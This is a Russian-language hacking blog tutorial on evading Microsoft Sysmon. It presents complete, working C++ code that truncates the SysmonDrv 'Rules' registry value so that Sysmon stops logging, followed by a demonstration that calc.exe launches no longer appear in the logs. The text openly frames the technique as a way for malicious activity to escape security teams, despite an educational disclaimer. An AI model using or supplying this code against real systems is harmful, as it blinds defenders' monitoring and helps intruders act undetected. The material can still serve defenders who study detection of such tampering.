В предыдущей статье я рассказал про использование C++ для получения информации о Sysmon. Сегодня рассмотрим довольно простой способ уклонения от Sysmon. Но прежде чем перейти к практике, давайте разберемся, что представляют собой правила Sysmon.
Еще по теме: Фреймворки для обхода антивируса и EDR
Правила Sysmon
Sysmon (System Monitor) — это часть набора инструментов Sysinternals, разработанного Microsoft. Он регистрирует системную активность и предоставляет подробную информацию о создании процессов, сетевых подключениях и изменениях времени создания файлов. Это делает его полезным для специалистов ИБ и системных администраторов при мониторинге и обнаружении подозрительной активности в системе.
Материал представлен исключительно в образовательных целях для обучения этичных хакеров. Несанкционированное вмешательство в работу систем — это уголовное преступление. Автор и администрация сайта spy-soft.net не несут ответственности за любое неправомерное использование данной информации.
Sysmon сам по себе не решает, что отслеживать. Вместо этого он опирается на файл настроек, который определяет «правила». Эти правила указывают Sysmon, что регистрировать, а что игнорировать. Например, правило может инструктировать Sysmon регистрировать каждое событие создания процесса или только процессы, соответствующие определенным критериям (например, запущенные из определенного каталога или имеющие конкретное имя файла).
Уклонение от Sysmon
Обходя возможности ведения журнала Sysmon, вредоносная деятельность может осуществляться с меньшим риском быть замеченной службами безопасности.
Важно помнить, что если на целевом компьютере запущено другое средство безопасности, оно может задетектить вредоснос. Этот способ требует прав администратора, так как с их помощью мы можем получить текущее содержимое правил Sysmon. Эти правила хранятся как двоичные данные в реестре, и если удалить часть строки, начиная с первого значения 0 (0x30), правила останутся в корректном формате, но не будут загружаться и работать.
Ниже приведен пример кода для реализации данного подхода:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
#include #include #include using namespace std; // Функция для чтения двоичного значения из реестра bool ReadRegistryBinaryValue(HKEY hKey, LPCSTR subKey, LPCSTR valueName, vector& buffer) { HKEY key; // Открытие ключа реестра для чтения if (RegOpenKeyExA(hKey, subKey, 0, KEY_QUERY_VALUE, &key) != ERROR_SUCCESS) { std::cerr << "Error opening registry key." << std::endl; return false; } DWORD dataSize = 0; // Получение размера значения реестра if (RegQueryValueExA(key, valueName, NULL, NULL, NULL, &dataSize) != ERROR_SUCCESS) { std::cerr << "Error querying registry value size." << std::endl; RegCloseKey(key); return false; } // Изменение размера буфера для хранения значения реестра buffer.resize(dataSize); // Чтение значения реестра в буфер if (RegQueryValueExA(key, valueName, NULL, NULL, buffer.data(), &dataSize) != ERROR_SUCCESS) { std::cerr << "Error querying registry value." << std::endl; RegCloseKey(key); return false; } RegCloseKey(key); return true; } // Функция для записи изменённого двоичного значения обратно в реестр bool WriteRegistryBinaryValue(HKEY hKey, LPCSTR subKey, LPCSTR valueName, const vector& buffer) { HKEY key; // Открытие ключа реестра для записи if (RegOpenKeyExA(hKey, subKey, 0, KEY_SET_VALUE, &key) != ERROR_SUCCESS) { std::cerr << "Error opening registry key for writing." << std::endl; return false; } // Установка нового значения в реестр if (RegSetValueExA(key, valueName, 0, REG_BINARY, buffer.data(), buffer.size()) != ERROR_SUCCESS) { std::cerr << "Error setting registry value." << std::endl; RegCloseKey(key); return false; } RegCloseKey(key); return true; } // Функция для изменения двоичного значения реестра, усечение до первого байта 0x30 (представляющего '0' в ASCII) int ModifyRegistryBinaryValue() { HKEY hKey = HKEY_LOCAL_MACHINE; LPCSTR subKey = "SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters"; LPCSTR valueName = "Rules"; vector buffer; // Чтение существующего двоичного значения из реестра if (!ReadRegistryBinaryValue(hKey, subKey, valueName, buffer)) { return 1; } // Поиск первого вхождения 0x30 (ASCII '0') и усечение буфера после него auto pos = find(buffer.begin(), buffer.end(), 0x30); if (pos != buffer.end()) { buffer.erase(pos + 1, buffer.end()); } // Запись изменённого значения обратно в реестр if (!WriteRegistryBinaryValue(hKey, subKey, valueName, buffer)) { return 1; } std::cout << "Successfully modified the binary value in the registry." << std::endl; return 0; } int main() { // Изменение двоичного значения реестра if (ModifyRegistryBinaryValue() == 0) { std::cout << "Registry binary value has been modified and updated successfully." << std::endl; } else { std::cerr << "Failed to modify the registry binary value." << std::endl; } return 0; } |
Предлагаемый код нацелен на модификацию двоичного значения в реестре Windows, связанного с правилами SysmonDrv. Код сначала читает существующие данные из реестра, находит первое появление байта 0x30 (символ в ASCII), а затем обрезает все после этого. Полученные данные записываются обратно в реестр. Таким образом сохраняется только нужная часть, что предотвращает возможные системные сбои, например, краши, которые могли бы возникнуть при использовании полного объема данных. Код также имеет обработку ошибок, чтобы обеспечить корректную работу при доступе или изменении реестра, уведомляя в случае возникновения проблем.
Давайте на практике разберем технику уклонения от Sysmon.
Берем файл с правилами Sysmon, который нужно изменить.
В реестре можно увидеть соответствующее значение, связанное с этими правилами.
После выполнения нашего кода видим обрезанную строку, которая больше не загружается в реестр, но при этом остается в корректном формате.
Запускаем приложение, например, calc.exe из директории:
1 |
C:\Windows\System32\calc.exe |
Выполняем код с правами администратора.
Правильное значение сохранено в реестре, но теперь запуск приложения calc.exe больше не фиксируется в логах Sysmon — наш метод сработал!
Итак, мы рассмотрели технику уклонения от Sysmon, изменяя двоичные значения реестра. Поняв, как работают правила Sysmon, мы смогли найти способ изменить их таким образом, чтобы избежать регистрации определенных действий в журнале событий.
ПОЛЕЗНЫЕ ССЫЛКИ:
- PPID спуфинг с помощью PPID Spoofer
- Пример атак Kerberoasting и AS-REP Roasting
- Уклонение от Honeytoken при атаке на Active Directory